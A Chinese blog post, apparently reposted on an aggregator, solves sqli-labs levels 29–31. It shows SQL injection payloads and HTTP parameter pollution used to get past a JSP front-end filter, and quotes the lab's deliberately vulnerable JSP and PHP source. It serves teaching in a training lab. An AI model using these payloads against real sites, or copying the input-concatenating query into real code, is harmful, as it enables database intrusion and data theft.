sqli-labs靶场详解(less29-less31)

less-29

提示有最好的防火墙

小白原因 这种题型没见过 先自己测试一下

?id=1' to use near ''1'' 预计可以使用报错注入 和单引号有关的注入点

?id=1' and '1'='1 成功

?id=1' and '1'='2 失败

确实是单引号字符型注入点

?id=1';%00 id=1%27;%00 获取到了%00空字符(原因就是服务器获取的url编码后的信息)

?id=1'; 报错 看来%00还是可以用的

?id=0' union select 1,2,3;%00 联合查询注入成功

?id=1' and extractvalue(1,concat('~',database())) ;%00

?id=1' and extractvalue(1,concat('~',database())) and '1'='1

成功报错注入 莫名其妙注入成功 这关难点在哪呢

发现服务器获取的是url编码后的信息

Hint: The Query String you input is: id=1%27%20and%20extractvalue(1,concat(%27~%27,database()))%20and%20%271%27=%271

这么简单和第一关一样 并且提示有最好的waf 我就纳闷了先看了一下源码有3个意识到不简单  我就搜索教程了

搜索教程发现  29-32需要自己搭建环境 这个靶场只提供源码

搭建了一个半小时各种问题 好歹最后成功了(在这我也发现了 无论什么时候都要靠自己 b站上搭建的视频 博主根本不好好看源代码 首页面报错必须输入id值才可以 估计他也是按照网上找的教程弄得)

不输入参数的时候我的一点问题没有 

这是网上全都出现的问题 不输入参数会报错

修改点就在index.jsp第二个url中 下面的代码分析中可以看到

下载一个jspstudy 充当waf 服务端口phpstudy启用80 jspstudy使用8080

接下来我们访问这个8080端口 也就是waf的

进行注入测试 

?id=1 正常

?id=1' 直接跳转到hacked.jsp提示攻击被阻挡

多次测试只能输出id的整数 输入什么都会提示攻击被阻挡

搜索教程后 该关使用的是参数污染的方式进行注入

?id=1&id=2  返回id=2的数据id=1的数据不返回

?id=1'&id=2 攻击被阻挡

?id=1&id=2' 出现了报错信息 单引号引发的问题

?id=1&id=2' and 1=1;%00 成功

Hint: The Query String you input is: id=1&id=2%27%20and%201=2;%00

?id=1&id=2' and 1=2;%00 无回显

Hint: The Query String you input is: id=1&id=2%27%20and%201=2;%00

到这就知道了 服务器后端只对第二个id参数进行处理

注入实例

?id=1&id=0' union select 1,2,3;%00 成功

可以使用联合注入 报错注入 盲注 

?id=1&id=2'&id=4  返回第id=4的数据 id=2'也不报错 也不提示攻击失败

Hint: The Query String you input is: id=1&id=2%27&id=4

通过以上发现 服务器后端只处理最后的id参数 waf只处理第一个id参数

先讲一下双层服务器

tomcat充当waf服务器 waf对参数进行过滤后 再把数据提交给apache服务器

         服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

        而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就是 HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

代码分析一波

waf服务器的 index.jsp文件

<%String id = request.getParameter("id");//获取id参数 获取的第一个id参数String qs = request.getQueryString();if(id!=null)//参数不为空{if(id!="")//参数不为空{//try里面的就是waf工作原理try{String rex = "^\\d+$"; //设置正则表达式 只能有数字Boolean match=id.matches(rex);//看看参数中是否只有数字  就这一行就构成了最强的waf 因为只能匹配数字 只要是数字才能进行下一步if(match == true)//如果全是数字{URL sqli_labs = new URL("http://172.23.19.152/sql/Less-29/index.php?"+ qs);//跳转到新的页面URLConnection sqli_labs_connection = sqli_labs.openConnection();  //这8行都是传数据用的 提供给新的页面BufferedReader in = new BufferedReader(new InputStreamReader(sqli_labs_connection.getInputStream()));String inputLine;while ((inputLine = in.readLine()) != null) out.print(inputLine);in.close();}else//还有别的符号  只要有别的符号服务器就认为你要攻击他 就跳转到hacked.jsp页面中 提示攻击失败{response.sendRedirect("hacked.jsp");}} catch (Exception ex) //异常处理 不用管{out.print("<font color= '#FFFF00'>");out.println(ex);out.print("</font>");				}finally{}}}else{URL sqli_labs = new URL("http://172.23.19.152/sql/Less-29/index.php");URLConnection sqli_labs_connection = sqli_labs.openConnection();BufferedReader in = new BufferedReader(new InputStreamReader(sqli_labs_connection.getInputStream()));String inputLine;while ((inputLine = in.readLine()) != null) out.print(inputLine);in.close();}
%>

服务器index.php页面

<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{$id=$_GET['id'];//这一步获取的是最后一个id的参数//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);$qs = $_SERVER['QUERY_STRING'];$hint=$qs;
// connectivity echo '$id';//证明获取最后一个参数$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}
?>

我分析代码后 不理解为什么jsp获取第一个参数 php获取最后一个参数

注意

AI解释 Java中,getParameter()方法只返回给定名称的第一个值 PHP自动获取参数是最后一个参数

less-30

同样告诉有最好的WAF 注入过程估计和上一题一样

各种测试 提示攻击失败

毕竟是WAF只能使用参数污染的方式了

?id=1&id=2'   不报错还查询出了结果 看来也是字符型 但是不是使用的单引号

试了一下双引号 直接出来结果了

?id=1&id=2" and 1=1;%00 成功

?id=1&id=2" and 1=2;%00 失败

看看能不能使用报错函数

?id=1&id=2" 无返回结果 不报错 看来不能使用报错函数

成功确定注入点

其余和上一关同理  能使用布尔注入 联合查询注入

详情请看less-29

less-31

一样的提示

直接使用参数污染的注入方式

?id=1&id=2' 不报错 输出结果 看来还是字符型 尝试一下 看看是那种字符型注入

?id=1&id=2" 报错 to use near '"2"") 直接就出来了 双引号加括号的字符型

?id=1&id=2") and 1=1;%00 成功

?id=1&id=2") and 1=2;%00 无返回结果

成功确定注入点

可以使用 联合查询 盲注 报错注入

详情请看less29

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/180000.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于SSM的社区团购系统设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…

虚幻学习笔记6—摄像机控制

一、前言 摄像机在虚幻中的应用是最常见的。如通常在游戏或应用中会常常出现需要切换不同视角的情况、摄像机拉近缩小等&#xff0c;这个在虚幻中是怎么实现的呢。 二、实现视点切换 2.1、提前设置场景的视点&#xff1a;如图2.1.1所示添加一个摄像机视点到关卡场景中&#x…

【傻瓜级JS-DLL-WINCC-PLC交互】3.JS-DLL进行交互

思路 JS-DLL-WINCC-PLC之间进行交互&#xff0c;思路&#xff0c;先用Visual Studio创建一个C#的DLL控件&#xff0c;然后这个控件里面嵌入浏览器组件&#xff0c;实现JS与DLL通信&#xff0c;然后DLL放入到WINCC里面的图形编辑器中&#xff0c;实现DLL与WINCC的通信。然后PLC与…

「计算机网络」Cisco Packet Tracker计算机网络仿真器的使用

介绍 Cisco Packet Tracker&#xff1a;网络仿真工具&#xff0c;用于模拟网络配置。 &#xff08;一&#xff09;通过 带外管理 配置交换机&#xff08;Switch&#xff09; 带外&#xff1a;Out-of-Band, OOB写在前面&#xff1a;如何打开Console页面 1、模式转换 用户执行模…

RK3568平台开发系列讲解(Linux系统篇)通过OF函数获取设备树中断信息实验

** 🚀返回专栏总目录 文章目录 一、获取中断资源API详解二、设备树三、驱动程序沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将介绍通过OF函数获取设备树中断信息 。 一、获取中断资源API详解 ① irq_of_parse_and_map 函数 该函数的主要功能是解析设备节点…

vue中的keep-alive详解与应用场景

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;Vue篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来vue篇专栏内容:vue-keep-alive 目录 一、Keep-alive 是什么 二、使用场景 三、原理分析 四、案例实现 activa…

NX二次开发UF_MTX3_initialize 函数介绍

文章作者&#xff1a;里海 来源网站&#xff1a;https://blog.csdn.net/WangPaiFeiXingYuan UF_MTX3_initialize Defined in: uf_mtx.h int UF_MTX3_initialize(const double x_vec [ 3 ] , const double y_vec [ 3 ] , double mtx [ 9 ] ) overview 概述 Returns a 3x3 ma…

NX二次开发UF_MTX3_transpose 函数介绍

文章作者&#xff1a;里海 来源网站&#xff1a;https://blog.csdn.net/WangPaiFeiXingYuan UF_MTX3_transpose Defined in: uf_mtx.h void UF_MTX3_transpose(const double mtx [ 9 ] , double transpose_mtx [ 9 ] ) overview 概述 Returns the transpose of a 3x3 matri…

逻辑漏洞 暴力破解(DVWA靶场)与验证码安全 (pikachu靶场) 全网最详解包含代码审计

逻辑漏洞 暴力破解(DVWA靶场)与验证码安全 (pikachu靶场) 全网最详解包含代码审计 0x01 前言 在当今互联网的广袤世界中&#xff0c;各式交互平台层出不穷。每一个交互平台几乎都要求用户注册账号&#xff0c;而这些账号则成为我们在数字世界中的身份象征。账号的安全性变得至…

WebSocket快速入门

WebSocket 借鉴&#xff1a; https://blog.csdn.net/weixin_45747080/article/details/117477006 https://cloud.tencent.com/developer/article/1887095 简介 WebSocket 是一种网络传输协议&#xff0c;可在单个 TCP 连接上进行全双工通信&#xff0c;位于 OSI 模型的应用…

LangChain 14 SequencialChain链接不同的组件

LangChain系列文章 LangChain 实现给动物取名字&#xff0c;LangChain 2模块化prompt template并用streamlit生成网站 实现给动物取名字LangChain 3使用Agent访问Wikipedia和llm-math计算狗的平均年龄LangChain 4用向量数据库Faiss存储&#xff0c;读取YouTube的视频文本搜索I…

【vue】v-model在表单元素上的应用

表单元素&#xff1a; https://blog.csdn.net/m0_67930426/article/details/134655644 使用模板 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title> </head><body>&l…

通过git上传文件到github仓库

一、新建github仓库 访问github官网&#xff1a;GitHub: Let’s build from here GitHub 点击个人头像&#xff0c;在右侧栏选择Your repositories。 点击New&#xff0c;新建一个github仓库。 创建Repository name仓库名&#xff0c;如果这个仓库名已经创建过的话&#xff…

【MySql】悲观锁和乐观锁的介绍

一、并发控制 当程序中可能出现并发的情况时&#xff0c;就需要保证在并发情况下数据的准确性&#xff0c;以此确保当前用户和其他用户一起操作时&#xff0c;所得到的结果和他单独操作时的结果是一样的。这就叫做并发控制。并发控制的目的是保证一个用户的工作不会对另一个用…

monorepo多项目管理主流实现方式:1.learn + yarn/npm workspace 2.pnpm

npm域级包 随着npm包越来越多&#xff0c;而且包名也只能是唯一的&#xff0c;如果一个名字被别人占了&#xff0c;那你就不能再使用这个名字&#xff1b;假设我想要开发一个utils包&#xff0c;但是张三已经发布了一个utils包&#xff0c;那我的包名就不能叫utils了&#xff…

每天五分钟计算机视觉:LeNet是最早用于数字识别的卷积神经网络

LeNet 假设你有一张 32321 的图片,然后使用 6 个 55的过滤器,步幅为 1,padding 为 0,输出结果为 28286。图像尺寸从 3232 缩小到 2828。 然后进行池化操作,使用平均池化,过滤器的宽度为 2,步幅为 2,图像的尺寸,高度和宽度都缩小了 2 倍,输出结果是一个14146 的图像。…

三十、elasticsearch集群

目录 一、集群的概念 1、节点 2、索引 3、分片和副本 二、集群的架构 三、集群的部署方式 1、单主节点 2、多主节点 3、安全集群 四、搭建ES集群 1、elasticsearch中集群节点有不同的职责划分 2、elasticsearch中的每个节点角色都有自己不同的职责&#xff0c;因此…

Android flutter项目 启动优化实战(一)使用benchmark分析项目

背景描述 启动时间是用户对应用的第一印象&#xff0c;较慢的加载会对用户的留存和互动造成负面影响 在刚上线的B端项目中&#xff1a; 1.提高启动速度能提高整体流程的效率 2.提高首次运行速度能提高应用推广的初体验效果 问题描述 项目刚上线没多久、目前存在冷启动过程存在…

【古月居《ros入门21讲》学习笔记】09_订阅者Subscriber的编程实现

目录 说明&#xff1a; 1. 话题模型 图示 说明 2. 实现过程&#xff08;C&#xff09; 创建订阅者代码&#xff08;C&#xff09; 配置发布者代码编译规则 编译并运行 编译 运行 3. 实现过程&#xff08;Python&#xff09; 创建订阅者代码&#xff08;Python&…

LLM能力与应用全解析

一、简介 经过几年时间的发展&#xff0c;大语言模型&#xff08;LLM&#xff09;已经从新兴技术发展为主流技术。而以大模型为核心技术的产品将迎来全新迭代。大模型除了聊天机器人应用外&#xff0c;能否在其他领域产生应用价值&#xff1f;在回答这个问题前&#xff0c;需要…